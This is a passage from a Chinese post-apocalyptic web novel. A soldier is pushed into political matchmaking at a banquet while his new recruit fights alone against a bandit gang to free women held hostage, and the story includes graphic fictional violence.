忍一忍,一个上午就过去了。
一群老油条终于发现从他这拿不到什么像样的信息,肯放他去吃饭休息。
一早上本来就吃了早饭,赵弋习惯性又喝了支营养液,现在并不饿,干脆用午饭休息时间去了趟内部的办公室。
反正都在这栋办公楼里。
他只是需要一个连接东区基地内部网络的电脑,方便查一下她新队员的准确定位而已。
算起来她现在已经到自己的农场了吧?
兰城离她的农场距离其实并不算远,在这个末世没有堵车的时代,马路上除了游荡的丧尸几乎很难再发现其他的汽车,开车也就不需要顾忌太多,油门踩到底往前冲就是了。而从兰城到她家,也不过两小时车程。
他们之前出阳县任务是因为沿途观察丧尸走得缓慢才走了三天时间,按照时枌一个人的行动速度,又没有其他任务在身,应该十二小时内能到达。
登陆自己的内部管理账户,输入编号201013,很快就找到了时枌的位置。
赵弋放大又缩小,再三确认后,才意识到自己想错了。
他带着定位去了趟任务交接办公室,这边是负责发布任务跟完成任务后进行交接的地方,一般来说五人或者七人组队接任务,队长来登记组员信息领了任务跟装备就能出发,任务周期内完成归来各个队员各自汇报工作,也就完成了。
“最近这个坐标附近有没有任务发布?”
赵队大驾光临,办公室内电脑前的几人都好奇抬头,心想赵队不是刚交接完正在休假么,怎么这么勤劳又跑来接任务。
一位工作人员帮他查询了坐标附近的任务信息。
“这地方也是老黄历了,最近几年Gypsy108号那群人又活跃起来,尤其是最近源城难民闹的,他们为了招揽人手在保护区外围驻扎下来了,怎么,赵队要接这个任务吗?要接的话这边建议您组织好您的小队,不建议临时组队,毕竟是S级任务,难度大,而且……他们似乎有人质。”
“还有就是,这只Gypsy队伍跟其他队伍之间关系紧密,领头人也是熟人,你们之前交过手的,代号白狼。”
赵弋听完头就开始痛了。
难怪时枌会丢下物资自己单独行动。
她又没有经验,第一次做任务就深入这种地方,真不知道说她什么好。
而且行动前任务都没接,流程都没走完。
他第一次觉得或许招时枌进队是个错误的选择。
“这个任务帮忙办下手续,承接人编号201013……”赵弋说。
“抱歉赵队,这位士兵等级不够,接不了S级任务。”
谁让刚注册不满二十四小时的新兵接S级任务啊,变态吧,工作人员心想。
“那记在我的名下,她是队员。”
“两人组队吗?您确定?”
“确定。”
不确定能怎么办,人都跑了,说不定任务都做一半了。
第43章 第43章“杀了他。”
办完手续,赵弋被一个电话叫回了会议现场,继续听这群老头互相对骂。
而他,只能借了台笔记本电脑,若无其事继续办公。
承接任务之后队长需要填写一份电子表格,才能拿到任务详情,他刚刚没时间填,现在只能在会议上填写,一项一项确认。
身旁是个跟他年纪差不多的军官,对这场无聊透顶的会议已经耐心耗尽,打着哈欠,又不能真的睡着,不然会被某些顽固的老头点名批评,但他作为保守派的一员又必须参会表明立场,无法中途离开。
哈欠连天时,瞥到旁边赵队正在填写任务申请表,一下来了精神,侧头偷摸跟人聊起来。
“休假时间还没过就打算接新任务了?赵队辛劳啊。”
赵弋:“……给队员接的。”
“哦对,听说你新招了两个队员,”那人抬了抬眼皮,被他电脑上的文字惊讶到,“S级任务就两个人吗?”
等等。
什么两个人,赵弋人还在这里,并且这个会议明显至少得开三天才能商量出结果,所以赵弋填写的任务开始日期是“今天”是怎么回事?
他想了会儿,终于明白过来。
“啊,原来赵队也有这种习惯。”
赵弋:“什么习惯?”
“就挂名在队员任务上蹭积分。”那人笑得“通情达理”,“人之常情,我懂的。”
只是没想到高级指挥官也会占队员这种小便宜,啧啧,他还以为赵弋不会与他们这种普通军官同流合污,看来大家都是普通人嘛。
难怪赵弋能拿那么多积分,六个队员帮着他一起赚任务积分,积分能不多嘛?
赵弋从他的语气中反应过来他似乎误解了什么,第一反应是想解释,但很快就镇定下来,装作若无其事地说:“你们也这么干?”
“谁不这么干啊哈哈哈哈哈,尤其是咱们东区这种外出任务多的,反正管的不严。”
“哦,原来如此。”
赵弋默默在心里记了一笔,心想:以后应该就会严起来了。
会议内容太过无聊,他填完任务申请表,再把任务资料发给了时枌,顺便抽空在电脑上写了一份关于“军官滥用职权挂名队员赚取积分”的汇报,检查后发送到了老严的私人邮箱。
反正,闲着也是闲着。
哦对,在发邮件之前,他也跟任务交接部门递交了一份这次任务相关的解释说明,——打个补丁以防万一。
漫长的会议持续到晚饭时间,有人吵得正上头,甚至提议晚饭就在会议室解决以节省时间,营养液选手赵弋都觉得荒谬,好在突然有人造访,把他叫了出去。
来人面带微笑,手里拎着一个大袋子,一身黑色西装,黑色高跟鞋,短发干净利落,妆容精致,——唐女士的秘书。
“赵先生好,唐处说今晚的宴会您必须到场,这是您的服装,麻烦您现在换上,我们坐车去现场。”
语气礼貌又温和,文字内容却充满了傲慢,明显转述是他妈的原话。
在继续跟老头子死磕与被迫相亲之间,赵弋宁愿选择前者。
“抱歉,我……”
没等他拒绝的话说完,秘书再次礼貌微笑。
“唐处还说了,如果你不去,她会现在打申请给严司令,然后亲自来接你。”
……
她以为他现在读几年级?小学三年级吗?报告长官,还“亲自”接他?
此时他如果再拒绝,等唐女士把事情闹大直接来了东区,老严会把他当成一个人情递交出去,就算他反抗也只是给众人徒增热闹。
他就真的成了一个笑话,一个活在母亲掌控下的笑话。
赵弋嘲讽一笑,接过她手里的衣服。
“麻烦转告她,希望她不要后悔今天的选择。”
秘书:“好的,我会为您转告。”
***
时枌等到晚上,终于在他们营地分发完食物之后逮到了一个机会。
一个没有武器负责站岗放哨的源城难民跟另一个携带武器的被派出去执行什么任务,具体时枌没听清,她跟随他们一段路程,直到远离营地才动手。
手持手电先晃
他们眼睛,匕首从带枪那人喉管捅了进去,赶在另一人尖叫之前掏枪威胁。
被枪口对准脑袋的难民惊慌失措捂住了嘴。
“安静点。”时枌很凶地威胁。
然后彻底切断了另一人的喉管,鲜血汹涌,不过好在她已经换上了保护区发放的作战服,防水的,还有手套呢,而且发放的这个匕首也是出乎意料的好用。
拔出匕首简单在旁边树上擦了擦血,拿走了地上尸体的枪,搜了一遍没发现其他子弹,看来他们营地对这群难民并不信任,甚至只给了他们一把手枪,多余的子弹都没给。
不知道是因为经过昨晚他们把枪都分发给了自己人,还是因为他们营地原本就资源不足。
“往前走。”时枌拿着枪起身,盯紧了面前的难民,同时催促着他继续往前。
这地方离他们营地还是太近了,一旦意外开枪很容易暴露她自己的位置,最好是把人带到更远一点的地方审问。
“只要你配合,问完问题就能放你回去。”时枌说。
她半张脸都被黑色面罩罩住,这一身熟悉的兰城保护区装备就足够震慑面前的人,因此这会儿这人还算配合。
天越来越黑,今天晚上没有月亮,看来明天天气不会很好。
下雨的话对她来说不算什么好事。
下雨过后泥土潮湿,地面黏腻,更容易暴露她的行踪,好处是她也更方便追踪他们。
可是晚上可能会冷,她并不太习惯只靠营养液来充当食物,尽管体力足够,但肚子总是觉得空空的,很不舒服。
今晚尽量弄点东西来吃才行,不然她都跑不动。
面前这个难民个子并不高,面黄肌瘦,看起来有段时间没吃饱饭了,被她用枪指着行走,一开始身体都在发抖。
走了一个多小时,终于到了一处安全地方,时枌让他坐在树下,枪始终对这人脑袋。
“你们营地一共有多少人?”她问。
难民没有立刻回答她的问题,反而出声问:“你是兰城的士兵?他们发布了新的任务吗?”
这让时枌觉得很不爽。
一个命都掌握在她手中的人凭什么敢这么反问她?
看来还是不怕她。
时枌抽出匕首,一声不吭扎进了他小腿。
男人爆发出一阵撕心裂肺的惨叫。
他们所处的位置已经靠近保护区了,这附近人多,有点动静很正常。
时枌甚至还看见一个小队,身上作战服跟她一模一样,小队队长听见动静停下脚步,过来查看情况,看清是自己人后还问了她一句:“需要帮忙吗?”
估计是一组刚从保护区出发去执行任务的小队。
“不用哈。”时枌礼貌回复。
小队队长人还挺好的,建议她在动手之前拿东西把他嘴巴堵上,避免引来其他队伍。
“好的,我下次会注意。”
可能是她语气太礼貌,也有可能是她行动生疏像个新人,小队队长就多问了一句:“你的其他队员呢?最好还是两人一起行动,能有个人帮你放风。”
时枌:“我没有在执行任务……”
话音刚落,手表就弹出消息,是赵弋发过来的任务资料以及信息。
之前在森林深处信号不好没能接收到,这会儿她的位置离保护区近,消息才弹出来。
嗯,现在她接了任务了。
“谢谢提醒,我能自己处理好,你们忙自己的去吧~”时枌摆摆手,示意自己没事。
很快他们小队就离开了。
时枌面前的的男人已经面色惨白,她好像这会儿才反应过来似的拔出了他腿上的匕首,在旁边树叶上简单擦拭后在手中把玩,一双棕色的眼睛冷冰冰的看着他。
“你们营地,一共多少人?”她再次问道。
“二十一……”
“啧,不老实啊,你们一共六个帐篷,那群女人住一个帐篷,差不多一个帐篷有八九个人呢,你怎么算的二十一个?”时枌笑了起来。
她这笑让人瘆得慌。
“我、我没撒谎!那群女人……她们不是人!我们都不算她们的!我们真的只有二十一个人了,昨天还被人杀了四个……”
他说到这忽然反应过来,震惊看向面前的人,“是、是你吗?”
时枌并没有回答他的问题,继续问:“你们领头的那个女人叫什么名字?”
“我不知道,我只是刚加入进来的……我只知道她姓白……”
提及这个女人他似乎内心很恐惧,甚至下意识地压低了声音,像是怕被别人听去。
“每个人都有枪么?”
“不、不是,新来的每两个人才有枪,他们自己人才每个人都有……”
“为什么今天把那群女人放了出来?”
“因为……因为老大知道了你们兰城派人偷袭,让我们把她们放出来,必要时候可以当掩护,也可以当人质。”
时枌默然。
看来他们对兰城军队的行事风格很了解,知道军队不杀无辜的人,已经做好了准备用阳县的女人们来拿捏她。
“我也是刚加入他们!我什么都不知道!我也没杀过人……我真的错了……要不你放我走吧?我说了这么多回去肯定会被打死的……求你行行好……”
男人突然哭嚎起来,甚至眼里都有了泪水。
时枌有些犹豫。
这时手表弹出通话申请。
屏幕上显示“赵弋”两个字。
时枌顺手按了接通。
刚接通赵弋就听见她那边的鬼哭狼嚎,那是一个男人哀求的声音,嘴里说着什么“我什么都没干求你放过我”之类的。
“杀了他。”赵队冰冷的声音从手表中传出来。
时枌下意识握紧了手里的枪。
而方才还在苦苦哀求的男人突然暴起朝她扑过来一把抓住了她右手的枪,那力量跟她不相上下了,一下子让她无法挣脱。
时枌持枪右手顺着他的力道往他的方向一推,趁他卸力之际摁着他的头往下一压,同时左手的匕首从下颔处扎进了他的头颅,滚烫的鲜血流了她一肩膀。
第44章 第44章联姻,呵呵,他还不如去……
时枌嫌弃地把靠在自己身上的尸体推开,看着自己满身的血开始发愁。
这衣服防水是防水,也好清洗,但问题是她还得找地方去清洗,不然顶着这么一身迟早给自己臭死。
她发誓,清理猪圈都没这味道难闻。
“没事吧?”手表中又传来赵弋的声音。
血没溅到手表上,时枌拿旁边树叶简单擦了擦脖颈,一边回复:“没事。”
“Gypsy这群人加入的条件之一就是亲手杀人,所以不用相信那个男人的话,他并不无辜。而且如果是游离在保护区外围的难民,大部分都无法通过保护区的身份审核,身份存疑,通过审核的会被保护区招收进来。以后再遇到这种人,问完自己需要的信息就可以处理掉了。”赵弋解释道。
“哦。”
“任务申请给你办下来了,以后如果要办什么事可以提前跟我说,如果跟任务内容重复还能顺便赚点积分。”他说。
“哦,知道了。”时枌发现自己的匕首还扎在人家脖子上,她自然是舍不得抛弃这么好用的匕首,简单清理了自己身上的血后过去拔刀。
一脚踩着人肩膀,给了好大力气才把卡进骨头缝的匕首拔出来,然后去把另一人身上的刀也搜出来。
赵弋听着她吭哧吭哧的动静,问她在做什么。
“匕首卡进去了。”
“下次挑动脉。”他只是好心建议一句。
时枌有点不耐烦,“知道了。”
她当然知道用刀的时候要尽量挑错开骨头的地方,避免打斗过程中刀
卡进骨头缝里拔不出来影响战斗,——她杀猪都杀出经验了。
但刚刚情况紧急,她也没来得及顾及这么多,顺手就捅了进去。
血顺着匕首上的凹槽流了下来。
还是脏兮兮的。
时枌又得去处理尸体。
这个难民脑袋都差点被她扎断,但脊椎并没有被破坏,时枌顺便给了他一脚踩断脖子避免转变成丧尸,才去寻找水源。
“任务资料发给你了,记得仔细看,”赵弋继续说,“白狼带领的这支队伍是保护区外围S级的威胁,在外注意安全。”
“一般来说S级的任务需要一个完整的七人队伍执行,而且还需要有经验的指挥官任队长……”
“你跟他们接触了吗?”
“算是吧。”时枌说,“已经处理了六个人。”
赵弋默然,没想到她效率这么高。
“记得每天写任务汇报,发给我。”
“怎么写?”
“写你杀了几个人,用了什么武器,对方的现状,自己的行动规划,有什么写什么。”
“哦,还得打字?好麻烦。”
“……也可以每日给我电话汇报。”赵弋说,“这次任务因为你是新兵,没办法自己承接S级任务,所以我挂名帮你接了,不过我递交了情况说明,之后任务结束积分会打到你的账户上。”
这些东西时枌从来没接触过,也不懂这些流程,听一耳朵就完了,也不怎么在意。
走了一会儿,终于找到了水源,她蹲下身清理自己身上跟匕首上的血。
“你们作战服是什么材质的啊?好方便哦。”
血一下子就清洗干净,时枌心情跟着好了很多,语气也没之前那么不耐烦了。
察觉到她语气的变化,赵弋嗯了一声,“防水防刺,确实很实用,你带了多少子弹?够不够?需不需要我帮你送补给?”
“不用,子弹够用了。”时枌想起自己的狙击枪,“不过下次我还是换把自动步枪吧。”
“你知道就好。”
她一人面对白狼一整个团伙本来就是劣势,结果还带了把沉重又不方便的狙击枪过去,真是初生牛犊不怕虎。
时枌清理了衣服,把刚刚从难民身上搜来的枪打开看了看。
手枪里子弹也没满。
看来他们营地的资源并不多。
赵弋听见她检查枪械的声音,一时沉默下来。
时枌专注补子弹,忽然听见手表传来一阵嘈杂声,似乎是有很多人在说话。
她好奇问了句:“你在哪?好像有点吵。”
“宴会。”他说,“城主女儿成年礼的宴会。”
“那是不是有蛋糕吃?”
“差不多吧。”
时枌有点馋了。
说起食物,赵弋想起了什么。
“营养液味道怎么样?”他特地选了最新出的蓝莓味营养液,听说在军区很招人喜欢,大家反馈都不错,——虽然对他来说营养液基本上都是一个味道。
时枌回忆了下寡淡的蓝莓风味的营养液,十分勉强地说了句“一般般吧。”
赵弋:“……”
也是,她自己农场就种了蓝莓,肯定瞧不上这种化学合成的蓝莓风味饮料。
“你怎么不问我来宴会做什么?”他问道。
时枌:“吃席呗,还能干什么。”
“……也有可能是被迫相亲。”
“相亲是什么?”
“就是介绍认识,以结婚为目的的认识。”
“听你的语气好像很惨的样子。”
“嗯,确实很惨。”他说,“政治联姻,不能比这更惨了。”
叽里咕噜都是时枌无法理解的词汇,她忙得很,并不想继续跟他闲聊,收好枪。
“好了赵队你继续相亲吧,我还得去杀人呢。”
说完就挂断了通话。
对方现在还剩下十九人,而且核心成员都配备了足够的枪械子弹,她得继续想办法去减少他们的人数,为接下来的行动做准备。
毕竟人数差距太大,她没有人帮忙,处理这么多人还是很棘手的。
正面对抗肯定不行,万一他们拿人质做威胁她根本没办法开火。
时枌一边往营地赶路,一边顺手摘了些树莓当零食吃。
有这些酸酸甜甜的果子,嘴巴里不至于没味道。
但问题是,酸开胃,她似乎更饿了。
算了,在行动之前还是先填饱肚子吧。
***
兰城保护区。
城主府。
兰城城主名义上唯一的女儿二十岁生日,兰城保护区内重要的高官领导,除了部分还在会议上吵得不可开交的,悉数到场。
这里繁华的不像是末世。
璀璨的水晶吊灯之下,舞池中央摆放着巨大足足有三米高的水果奶油蛋糕,周围人锦衣华服,妆容精致,伴随着优美的音乐舞蹈。
服务生穿着统一制服带着面具游走在人群之中,有的等候在城主身边,托举托盘方便宾客们换酒。
赵弋挑了个安静的露台,戴着蓝牙耳机通话,正对着漆黑的夜色下星星点点的灯光琢磨新话题,通话就被挂断。
他整个人似有一种被扇了一巴掌的莫名其妙。
但他也没摘耳机,继续靠着露台栏杆,打算在这待到宴会结束。
结果还是被唐璟找到。
唐女士并没有他想象中的气势汹汹。
毕竟在此之前,唐璟带着他到宴会现场先去跟城主以及今天宴会主人见面打招呼,他姿态傲慢,打量面前穿着公主裙的女孩几眼,就直言“有公事要忙”就带着耳机到安静地方“布置任务”,留下唐璟在现场解释转圜。
“那小姑娘对你印象还不错。”唐璟靠着栏杆点了一支烟。
“哦。”
她亲儿子的回复相当冷漠。
看来今天这件事确实是影响了他们母子感情。
唐璟笑了下,“你不喜欢她什么?抛开一切不谈,她的年纪,样貌,不合你的心意?如果不是城主女儿,是不是你反而会更容易接受?”
“我对她个人没有任何评价,”赵弋说,“我不喜欢她的公主裙。”
像个天真烂漫一无所知的假公主,活在她父母编织的幻境当中,每日锦衣玉食,仆从无数,好似整个兰城保护区都是为了她而服务。
为了这场成人礼,兰城限电一周。
“我还不知道我的儿子这么愤世嫉俗。”唐璟夹着烟的手搭在栏杆上,嘴角始终噙着一抹笑,似是嘲讽,“人活着,努力往上爬是为了什么?城主爬到了这个位置,他所拥有的这一切,难道就不是他应得的么?”
如果没有城主,兰城保护区不会第一时间得到控制,保护区制度不会迅速建立起来,二十万兰城居民也不会得到安全的庇护,在末世生存下去。
他只是老了,随心一点无可厚非,谁又能指责他呢?
“人只要活着就会有压迫,就会有斗争,就会有不平等,这是刻在基因里的信条。”唐璟缓缓吐出一口烟雾。
白色烟雾在夜色中消散。
“兰城这个烂摊子还要继续支棱下去,要么从内部进行手术,慢慢推进,要么,大不了学学源城,闹起来,判个输赢,你说是吧?”
唐女士是个政治动物,她一直想要引导自己的儿子走上相同的路,希望他能接替自己。
可惜赵弋始终不开窍。
跟他那个便宜后爹一样,脑子缺根筋。
“我还是那句话,”赵弋摘下耳机,神情淡漠,“我你是别想指望了,抓紧时间生个二胎吧。”
这话他都说了好多年了。
在唐女士试图把他从东区调到某办公室的时候就开始了。
联姻,呵呵,他还不如去入赘。
唐璟:“……”
她都绝经了,能生她难道不想生吗?!
她迟早要被这个儿子气死。
“好,咱们不谈公事 ,聊聊家事。“唐璟深吸一口气。
“你一个三十好几的人到现在都不成家是什么意思?我一个当妈的关心两句没问题吧?”
“你喜欢什么样的,你们军队里男人多,没得选,我给你介绍,嗯?”
“谢谢关心,反正不是她那样的。”
他指的是舞池中央一身华丽衣裙的城主女儿。
“妈,你结婚的时候我也没指手画脚,相应的,我希望我的婚事你也不要插手。”
唐璟:“???”
倒反天罡。
天要下雨娘要嫁人,他一个当儿子的凭什么指手画脚?他赵弋到底是怎么理直气壮说出这种鬼话的?!
第45章 第45章不能再犹豫了。
营地。
“那两个还没回来?”负责站岗放哨的两个难民凑在一起小声嘀咕。
被问的那个用捏着枪的手揉了揉饿得发慌的肚子,看了眼帐篷,才压低声音回:“怎么可能回得来?明知道外边有人蹲着,还故意放两个人出去寻找物资,明显是让人出去试探。”
“哎。”
“现在都没回来肯定是死了,我估计这群人也拿外边的人没办法,不然早就捉出来杀了。早知道我就去兰城门口蹲着,蹲个十天半个月,我就不信他们不肯让我进去……”
“兰城不收我们这种没身份的人,我们把源城的身份信息往上一报他们就知道我们是逃犯……”这人又叹了口气,“横竖都是死路,一个人怎么可能在末世生存……大不了我们在这里熬一熬,说不定能真的被他们接收,到时候有了武器有了食物,至少能留一条命吧?”
“呵,你当你是什么?我们这种新加入的难民在他们眼中比那群女人还不如,她们还能给他们生孩子或者当食物充饥,你能干啥?只能丢出去当鱼饵喂食套取情报!”
“嘘!小点声,刀疤来了。”
两人跟被抽了一鞭子似的站直了身体,有枪的握紧了手里的枪,没枪的心里更是慌乱,生怕自己刚刚说的那些话被听了去。
刀疤看了看两人,冷哼一声。
“你们两个去外围守着,一旦有人就发信号。”
“遵命!”
两人连忙走了。
刀疤这才继续往前,进入关押着女人的帐篷。
这个帐篷的女人鹌鹑似的缩在一起,蓬头垢面,早已经放弃了哭闹,一张张灰白的脸低垂着面无表情,就连放饭的时候也是,唯独会在她们之中一人被拉出帐篷时脸上才会显露出挣扎愤怒的神情。
刀疤脸目光落在其中一个女人身上。
正是昨晚被带出去的那个,此时她缩着腿挡着肚子,脑袋也深埋入膝盖,一声不吭。
但刀疤脸看见了她的异常,以及隆起的小腹。
他将水丢到她身上,“喝了,真想饿死自己?”
女人不为所动。
周围的女人们只是更往里面缩,整体缩成一个更小的团,并没有像躲避灾祸一样分散开。
刀疤脸丢完水就出去了。
女人将自己身上的那瓶水给了身边的人。
被给水的抬起头,原本无神的眼睛里此时充满了担忧。
“……孩子。”干涸的嗓子发出低哑的声音。
听见这两个字女人像是突然受了刺激一样愤怒起来,呼吸急促,咬牙切齿,连咬到自己唇边的肉都没发觉,满嘴鲜血,身边人赶紧安抚,让她喝水,她却死死拧着自己的肚皮,用一种试图亲手将它撕扯下来的力度。
突然,外边有了动静。
女人们怔愣半晌,低声用嘶哑的嗓子劝:“再等等,还有机会。”
她才停止了动作。
帐篷之外,嘴巴大张流着口水眼睛灰白的丧尸扑了过来,那是一张熟悉的脸,方才被派到外边去守着,此时脖颈处的伤口狰狞,但偏偏脊椎没有断,死后重新转变,带着晃悠的头颅来撕扯同类。
营地已经许久没见丧尸,大家也没想到会突然出现这玩意,猝不及防,在帐篷外站岗的一人被扑倒,很快,又是一只丧尸,心口淅沥沥淌着血,随机挑选离得近的目标开始撕咬。
刚转变的丧尸对同类的渴望处于最顶峰,完好的骨架足够支撑它们的行动,它们急需新鲜血肉填补自己空洞的肚子,此时在它们眼中整个营地的人都成了目标。
新加入的难民手里有枪的只有一半,情况突然,他们尖叫着开枪,刚刚转变成丧尸的同类却只是被子弹冲击打得后退一步,紧接着就发狂扑了过来。
牙齿撕咬下颈间皮肉,鲜血汹涌而出,另一只丧尸也扑过来争抢。
因为负责外围站岗的都是没经验的难民,这两只丧尸在撕咬四人之后才被爆头,彻底没了动静。
躺了一地的尸体,还有人苟延残喘,“救……”
帐篷里其他人都出来了。
刀疤脸愤怒拿着枪一个个解决倒在地上被撕扯后的人,精准爆头。
方才还试图呼救的人在子弹来临前就已经放弃,眼睛一片灰败。
而只是被丧尸抓伤手臂的人恐慌不安中也被同样处理。
营地内重归宁静。
白狼也走了出来,她安静看着面前这一幕。
刀疤脸处理完就回到她身边。
“是我刚刚派出去的人,看来他离我们很近,老大,要不要……”
白狼冰冷的目光看着面前漆黑阴暗的森林,层层叠叠的树木下不知潜伏着什么野兽。
“刚下过雨,她也杀了人,你带几个人出去追踪痕迹,处理掉。”白狼说,“她已经抓了人获得了我们的情报,如果是一个完整的军方小队,不至于我们这点人还需要这么偷偷摸摸,说明他人手不多,最多两人。”
而且她放进来的那两只丧尸都是用匕首小心翼翼弄死的,明显是为了不引起他们注意,再次证明对方人并不多。
刀疤脸是营地中少有的跟了她很长时间的自己人,懂得追踪野兽,只是平时都带在身边保护她的安全,鲜少会被派出去。
“注意树上,白天再出去,她是狙击手,会待在高处。”
狙击手也有狙击手的坏处,习惯单独行动,火力不足,一旦面对多人围攻就很难突围。
因为这个人导致她的营地内所有人都不安,甚至接下来的狩猎计划也被打乱。
这么多人填不饱肚子,是会出问题的。
而且敌人三番两次偷袭,如果她再不采取措施,营地人的人心也会浮动。
在不远处树上透过望远镜看着这一幕的时枌皱起眉头。
刚刚一场动乱又死了六个人,他们都出帐篷的时候时枌也再次确认了人数,除了阳县女人外只剩下十一个了。
她趁着半夜在营地周围潜伏,又杀了两人,这次没舍得浪费,只杀死后丢在营地附近,任凭他们转变成丧尸进去咬人,因为他们负责站岗的难民经验不足枪也不够才让丧尸咬死咬伤不少,让他们人数骤减。
时枌以为这样接二连三的偷袭会让白狼愤怒,必定会立刻采取行动,但没想到她的人快速稳定了现场,而且看他们动作也并不像马上就要开始行动的样子。
负责站岗的换上了几个他们自己人,是刀疤脸亲自点出来的,各个都挎着冲锋枪,目光狠戾。
他们肯定有行动,但不是现在。
看来白狼并比她想象中冷静。
那他们什么时候会行动呢?难道她就这样在树上等着?可是如果天亮她就不能继续待在树上,那时候……
对,天亮。
刀疤脸点了这几个人出来,而且还跟这些人说了些什么,很可能是在安排第二天早上的任务。
此时离天亮已经不远了。
只剩下两个小时。
时枌抓紧时间从树上爬了下来。
昨天她好好看了任务资料,还有赵弋发给她的其他资料,着实让她学到了不少,比如如何利用细线跟手榴弹制造陷阱。
营地的附近有两条明显的路,她不确定刀疤脸明天就带着人走哪条。
她需要掩盖自己的踪迹,每走一步都要用枯叶覆盖痕迹,尽量不留下任何疑点,尤其是营地周
围更要仔细检查自己走过的路,重新整理覆盖。
她山上打猎时也会根据枯枝断裂的方位、地上的脚印来追踪野兽,反过来如何隐藏也并不是难事。
更重要的是,她需要把他们引到别的地方去,也就是创造一条明显保留痕迹的“路”。
时枌边走边刻意撞断树枝,在潮湿的地上留下泥泞的脚印,在中途布置好陷阱。直到走了很长一段距离远离营地之后,才找到水源清洗鞋底,换另一条路再次回到营地。
现在她手上有了手表,有了定位,还有地图,比她平时在林子里两眼一抹黑条件要好得多,这也是他们没有的。
天蒙蒙亮的时候,时枌潜伏在营地周围,盯了没多久,就看见刀疤脸带着四个人准备出发,白狼亲自送他们出来。
现在营地里就只剩下包括白狼在内的七个人了。
时枌不敢再上树,只能找了个大石头,又用准备好的树叶遮盖身体,同时架好狙击枪。
深吸一口气,对准白狼脑袋。
可白狼在她瞄准之前就钻进了帐篷。
错失机会,时枌没有时间懊恼,在脑子里快速定好了计划。
杀一个是一个,狙击枪只有五发子弹,先杀掉五个人,就只剩下两个,到时候手枪也足够了。
但速度一定要快,不能让其他人找地方躲避。
时枌调整好呼吸。
似乎今天的风都轻了许多。
一人解着皮带从帐篷出来,被瞄准,脑袋炸开,倒在帐篷上。
帐篷内另一人猝不及防被尸体砸到,咒骂一声举枪准备射击,又被一枪爆头,手指却扣上了扳机,一连串子弹扫射而出,不知道打中了哪个倒霉蛋,哀嚎声响彻营地。
咔哒,子弹上膛声犹如催命符,在清晨寂静森林中让人头皮发麻。
下一个带着枪跑出来还没来得及张望,又被一枪炸了半个脑袋。
时枌正在瞄准镜中寻找下一个目标,忽然,一道女声响起。
“你敢再开枪,我现在就杀了她!”
白狼掳着阳县女人走入她的视野,她牢牢用阳县女人的身体挡住自己,手里的枪死死钉在女人太阳穴。
“把她们拉出来!”
她一声令下,剩余的人就冲进帐篷中,把成群的女人抓了出来。
“砰——”
白狼果断开枪,离她最近的一个女人眉心中枪倒下。
“我数三声,”又是一枪,另一个女人倒在了地上,“滚出来!你想害死她们吗?!”
时枌脑子嗡的一下,反应过来之后已经死了两个人。
狙击枪只剩下两颗子弹,她一边填补子弹,一边大声道:“住手!我马上就出来!”
“砰——”
第三个女人倒下。
时枌震惊看着这一幕。
明明还没有开数,她已经杀了三个人,根本没有给她转圜的余地。
她手没停,机械补上子弹,心却在出去跟瞄准之间摇摆不定。
她恐惧于下一次枪响,眼睛死死盯着白狼手里的手枪……
手枪弹匣容量足够她杀光所有的阳县女人。
不能再犹豫了。
要么抓紧时间杀了他们,要么现在就下去谈判,她不知道自己有多少人,她可以假装有伙伴,然后先处理掉白狼,反正也只剩下……
“啊——!”
僵持之际,原本缩成一团的阳县女人突然发狂,丧尸一般扑向身边拿抢对着自己的人,用孱弱的身体、用尖利的犬齿撕咬他们裸露出来的皮肤。
混乱中枪声连成一片,女人们吸引了注意,他们都朝着发狂的她们开枪,完全没顾得上时枌的方向。
时枌抓紧机会在白狼有动作之前一枪打中了她的手腕,白狼挟持的女人猛的向后撞到她身上,两人一下子全部倒地。
时枌来不及去顾白狼,连续四枪,杀了两个伤了两个,随后丢下狙击枪跳下石头拿起手枪迅速清空弹匣。
第46章 第46章车在她面前停下。
地上倒了一片,时枌赶过来时最先抽出匕首扣着压在女人身上的人脑袋利落割喉,伸手去拽躺在地上的女人之时,身后忽然一阵冷风。
那是危险逼近的预兆。
身边腿上中枪的女人猛地扑了过来,身体撞上了白狼,白狼手中的匕首扎进她的胸口。
刚刚在时枌赶来时,白狼跟阳县女人一同倒地,女人一脚踹开了落在地上的手枪,白狼只能抽出腿侧的匕首赶来杀时枌。
没想到被另一人挡刀。
时枌整个人血气上涌,反扑了过去,身后一个男人却拽住了她的腿,他身上还挂着一个女人疯狂撕咬抓挠他的身体,那人已经伸手去够枪,时枌只能松开白狼,一脚踹在那人脑袋上。
军靴的好处就是,杀伤力足够强。
一脚下去,男人脑袋以一个不正常的角度歪斜,眼球突出,彻底没了动静。
时枌赶紧爬起来捡了一把枪,清理剩余几人。
原本阳县女人人数就比他们多,突然发狂有的甚至是两个人死死控制一个人,竟然真的拽住了营地剩余的几个人,但同时女人们也死伤惨重。
转眼白狼已经不见。
时枌用枪解决了还喘气的男人,再检查是否有活着的阳县女人。
她们大部分身中好几枪,躺在地上苟延残喘,是就算能带回保护区救治也没办法治好的那种伤。
时枌不敢看她们身上的伤口,却在触及她们眼睛时碰上温柔的注视。
好像在对她说:没关系。
时枌深吸一口气,挪开目光。
时枌从两个满是子弹的女人尸体下翻出一个小女孩。
女人们爆发时将这个小女孩压在了自己身体下面,因此他们开枪扫射时并没有伤到她,此时她蜷缩成一团,压低声音抽泣着,时枌蹲下身去碰了碰她。
“没事了……”她喉咙干涩,一时间也说不出其他的安慰话语。
这时,刚刚被白狼挟持的女人一瘸一拐走了过来,轻轻拍了拍时枌的肩膀,再将小女孩抱起来,轻声安慰。
“没关系,是时枌姐姐,你认得她的,每个月我们都会去时枌姐姐的农场,你吃过她种的草莓……”
时枌垂下眼睛,扯下面罩,视线却不敢往旁边扫。
死了好多人。
太多尸体了。
但理智告诉她现在不是放任情绪的时候。
远方传来爆炸声,被派出去的刀疤脸碰到了陷阱引起爆炸,这里刚刚动静那么大,他们说不定还有人会活着回来,留在这里很危险。
时枌对她们说:“先藏起来,还有几个人没回来。”
“我叫白芳,她叫糯糯,糯米的糯,”白芳把小女孩拽起来,让她自己擦干净眼泪,“藏去哪?我们可以跟着你吗?”
“可以,我会保护你们。”时枌说。
没时间伤感,三人快速撤离,时枌给她们一人捡了一把枪,顺路捡起自己的狙击枪,找了个高处继续守着营地,又给了她们一人一支营养液补充体力,让她们待在旁边不要出声,随后补充子弹,安静等待。
直到营地传来动静。
刀疤脸带着一个人回来了,看见营地惨状咬牙切齿。
“砰——”
一枪打中他膝盖,退弹壳,紧接
着第二枪是右手手腕,第三枪左手……
